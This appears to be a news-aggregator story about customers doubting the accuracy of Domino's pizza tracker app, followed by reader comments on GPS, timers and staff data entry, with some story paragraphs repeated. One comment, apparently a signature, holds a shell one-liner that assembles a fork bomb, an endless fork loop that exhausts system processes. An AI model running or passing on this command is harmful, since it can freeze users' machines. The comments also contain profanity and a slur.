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'App Truthers' Question the Accuracy of the Domino's Pizza Tracker (foxnews.com)
Despite the fact that 60% of its pizza orders arrive digitally, "A growing number of Domino's delivery customers are casting a critical eye at the company's online pizza-tracking app," reports the lifestyle editor at Fox News. "More specifically, they think it's a bunch of crap."
Fault-finding app users -- or "app truthers," as The Wall Street Journal calls them -- are subscribing to the notion that the Domino's pizza tracker is nothing but a bunch of smoke and mirrors. One user who spoke with the Journal claims his app told him that "Melinda" would be arriving shortly with his order, but when he opened the door, a delivery man he already knew handed him the pizza. "Ever since then, I knew everything they said, I felt, was made up," he said.
Another man claims the tracker told him his pizza was en route, even though he could see the Domino's restaurant from his house, and there was no sign of the pizza being out for delivery. Others claim the pizza app told them their food had been delivered when it hadn't, or that there were huge discrepancies between when their pies were supposed to be delivered and when they actually arrived. A whole thread on Reddit suggests that the app is just an automated timer disguised to look like a real-time tracker.
In a statement Domino's blamed the problem on employees not entering correct data, while also insisting that "the vast majority of the time Pizza Tracker works as designed."
According to the article, "A person who claimed to be a Domino's employee also said nearly as much in a 2015 Reddit thread. He/she added that the name of the person preparing the pizza -- as far as the app is concerned -- is usually the manager.
Another man claims the tracker told him his pizza was en route, even though he could see the Domino's restaurant from his house, and there was no sign of the pizza being out for delivery. Others claim the pizza app told them their food had been delivered when it hadn't, or that there were huge discrepancies between when their pies were supposed to be delivered and when they actually arrived. A whole thread on Reddit suggests that the app is just an automated timer disguised to look like a real-time tracker.
In a statement Domino's blamed the problem on employees not entering correct data, while also insisting that "the vast majority of the time Pizza Tracker works as designed."
According to the article, "A person who claimed to be a Domino's employee also said nearly as much in a 2015 Reddit thread. He/she added that the name of the person preparing the pizza -- as far as the app is concerned -- is usually the manager.
Someone who could see the restaurant ordered DELIVERY?!?
WALK OVER AND GET IT!!!!
For sure.
Couldn't the app use the deliverator's phone GPS to determine distance to target automagically without the deliverator entering data into a server directly?
Good fucking god!
As ANYONE who's EVER dealt with a computerized event completion timer knows it's just an ESTIMATE.
Trying to demand exactitude once you get HUMANS into the mix?
Seriously, when was the last time you nodded acquaintances with reality?
Some people just need to get a fucking job. They have too much time on their hands and have to invent stupid shit to bitch about.
Chas - The one, the only.
THANK GOD!!!
Here in NZ and AU, yes, absolutely - more precisely, the GPS is on the magnetic 'domino pizza delivery thing' they stick on the car with magnets.
(In reality, I'm pretty sure the GPS data is delayed - the driver will arrive just as the tracker says they're coming down the street -- and I have a feeling the drivers give themselves a head start and the in-store tracking is... well, often lied to by staff claiming they're further along than they really are.)
He's an IMPOSTER I tell you!
SJW: Someone who has run out of real oppression, and has to fake it.
That's why in my town all the Dominos are right next to the University, where they have lots of people from random places that don't know any better.
Locals buy Little Caesar's when they want "cheese" on soggy white bread. Why? They at least dump a bunch of oregano in the sauce to make it taste like it includes at least one human food.
The pizza tracker on their website in Japan is fairly accurate. On busy nights it sits at the first stage until they actually work on it. When it's delivered we have a GPS option to watch the driver. The driver always arrives when they the map shows them in front of the house. I wouldn't be surprised if the US version is faked a bit. The Japanese wouldn't stand for that.
The sign on the roof of the delivery car has a GPS and a modem.
There is a delay as the messages propagate through their system before they end up on the web. The delivery driver can also change literally on their way out the door. So, shit happens. It's not malicious.
That reasonably priced 6.8/10 pizza you can get delivered to your house in 30 minutes is complete crap because a more expensive 8.5/10 pizza exists somewhere within a 60 minute drive of your house. You should all be shamed mercilessly for even thinking about eating food the cool kids would never even look at!
(Ok, not really shorter.)
I know Papa John's pizza has an app with a tracker. Pretty sure Pizza Hut does too. Seems to be a pretty standard feature for chain pizza delivery places at this point.
I get the idea that all of them are just based on timers, plus some kind of data input in the computer at the pizza place? EG. Tracker starts counting down time pizza is supposedly baking in the oven based on when the sale is processed, and delivery time based on entering some other data that says a driver picked it up and went out the door with it.
Having it give an incorrect name of the driver supposedly arriving with your order? That sounds like an error made by whoever was keying the info in for it. That kind of thing is gonna happen and doesn't prove the app is "fake".
But unless each pizza has an embedded RFID chip or something crazy like that, I don't know how you can expect it'll be perfectly accurate all the time? UPS and FedEx have similar "fakery" in use with package tracking. (The package only gets scanned once in a while while in route to you. On stretches between scans, they just estimate delivery times based on when the trucks SHOULD get it from one point to the next in the middle of the route. When packages get lost, the trackers get "brain dead" and often indicate a box was last seen on a truck that it was never even loaded onto. When you call in about such instances, the dispatch people on the phone seem to have a second system where they can pinpoint things better than the user-facing web site data does.)
The tracker has jack shit to do with the food.
Here I'll break it down for you.
When you place an order it starts a timer.
When it's being made it starts a timer.
When it goes in the oven, new timer!
The employees don't get any trouble for being slow, they get in trouble for the time on the computer looking bad.
They are trained to keep those timers under a certain time wether they got to that step or not.
When all the timers are done they assign it to a driver who's probably still on some other delivery just keep the timer number looking good.
Then it gets reassigned to the first driver to show up.
This is called micromanaging and it's retarded in a restaurant,
Your employer can require you to have a smart phone, at your own expense, in every state but California.
On the bright side, an employer requirement makes your phone and cellular service a tax deductible expense.
I had an issue last year when my Pizza showed delivered for almost 30 minutes and then I called to find it it hadn't even left the store yet. The manager told me the app works on the average time it takes to make and deliver a pizza. It is not a accurate representation of the Pizza's location. I don't bother letting them deliver it anymore, I'll drive up to the store and wait.
Want pizza? I can raise you many local places that sell the real stuff.
Only if you live in a pretty decent city. In a lot of places, Domino's is the best available.
Electric ovens can't melt cheese beams! Wake up sheeple!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Real pizza doesn't come from a chain
Elitist nonsense. Shitty pizza is real pizza too. It's just really shitty pizza. I'd rather have Papa Murphy's than Domino's.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"